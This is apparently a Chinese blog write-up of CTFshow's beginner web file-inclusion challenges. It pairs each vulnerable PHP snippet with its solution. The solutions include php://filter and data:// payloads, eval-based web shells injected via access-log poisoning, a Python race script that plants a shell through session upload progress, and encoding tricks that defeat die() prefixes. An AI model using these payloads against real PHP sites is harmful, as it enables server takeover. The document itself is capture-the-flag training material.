CTFshow——web入门——文件包含

web入门——文件包含

web78

题目

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

题解
伪协议

file=php://filter/convert.base64-encode/resource=flag.php

data协议

c=data://text/plain,<?php system('tac fla?.php');?>

web79

题目

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

题解
把php字符替换成???了
一、data协议

file=data://text/plain,<?=system('tac fl*');?>

二、传入shell

file=data://text/plain,<?=eval($_POST[1]);?>
POST 1=phpinfo();

web80

题目

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

题解
data被替换
日志文件地址

/var/log/nginx/access.log

User-Agent插入

<?php eval($_POST[1]);?>

在这里插入图片描述

web81

题目

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

题解
%0a在UA里不被解码,在浏览器可以
:被替换,还是利用日志文件
UA传<?= eval($_POST[1]);?>
在这里插入图片描述
蚁剑连接得shell
在这里插入图片描述

web82

题目

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

题解
过滤了. 我们必须包含无后缀文件
利用session.upload_progress进行文件包含和反序列化渗透
php中唯一能控制的无后缀session
控制文件名字/tmp/sess_aaa
在这里插入图片描述
控制文件内容PHP_SESSION_UPLOAD_PROGRESS
利用PHP_SERRSION_UPLOAD_PROGRESS把内容写进/tmp/sess_aaa文件里
群主大大给的脚本,没跑明白.有点菜…

import requests
import io
import threading

url='http://93a5ba3f-7aea-4855-8fa3-5ecc6311ef67.challenge.ctf.show/'
sessionid='ctfshow'
proxy={
    
    'http':'127.0.0.1:8080'}
data={
    
    
	"1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[1]);?>');"
}

def write(session):
	fileBytes = io.BytesIO(b'a'*1024*50)
	while True:
		response=session.post(url,
			data={
    
    
			'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
			},
			cookies={
    
    
			'PHPSESSID':sessionid
			},
			files={
    
    
			'file':('ctfshow.jpg',fileBytes)
			}
			)

def read(session):
	while True:
		response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
			cookies={
    
    
			'PHPSESSID':sessionid
			}
			)
		resposne2=session.get(url+'1.php');
		if resposne2.status_code==200:
			print('++++++done++++++')
		else:
			print(resposne2.status_code)

if __name__ == '__main__':

	evnet=threading.Event()
	with requests.session() as session:
		for i in range(5):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(5):
			threading.Thread(target=read,args=(session,)).start()

	evnet.set()

emmm…尝试了bp抓包…结果还是做不出来…

web83-web86

题解
同上

web87

题目

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    
    
    highlight_file(__FILE__);
}

题解
file_put_content和死亡·杂糅代码之缘
死亡绕过file_put_content,杂糅代码分解成php无法识别的代码
分析代码,需要对$file进行两次url加密,hackbar自带URL编码不能进行全编译,用其他工具进行全编译

file=php://filter/write=string.rot13/resource=1.php
//进行两次URL全编译
file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30

file=php://filter/write=string.rot13/resource=1.php

php://filter伪协议名称write=string.rot13过滤器通道 将传入的1.php的字母进行13位平移(凯撒加密,移动13位)

通过位移将原来的 <?php die('大佬别秀了');?> 变成 <?cuc qvr('大佬别秀了');?>

POST content=<?php system('tac f*.php');?>
     content=<?cuc flfgrz('gnp s*.cuc');?>

web88

题目

<?php
if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
    
    
        die("error");
    }
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

题解
这里用data协议构造一个不存在过滤字符的命令
payload:

file=data://text/plain;base64,<?php system('tac f*.php');
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7

web116

题解
下载文件,foremost分离得出png文件。
在这里插入图片描述
过滤了很多…基本都过滤了
但用的是file_get_contents,直接输入file=flag.php,用view-source查看网页源码,也可以抓包获得。

web117

题目

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    
    
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

题解
PHPz支持的字符编码
新学的骚姿势
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents里的内容通过write这个过滤器采用convert.iconv.UCS-2LE.UCS-2BE这个方式进行过滤,把<?php die();?>这个代码进行过滤扰乱,从而实现绕过
注: convert.iconv.UCS-2LE.UCS-2BE这个是将前后两个字符进行交替(abcd==>badc)
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
POST contents=?<hp pvela$(P_SO[T]1;)>?
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/h_adam/article/details/120931571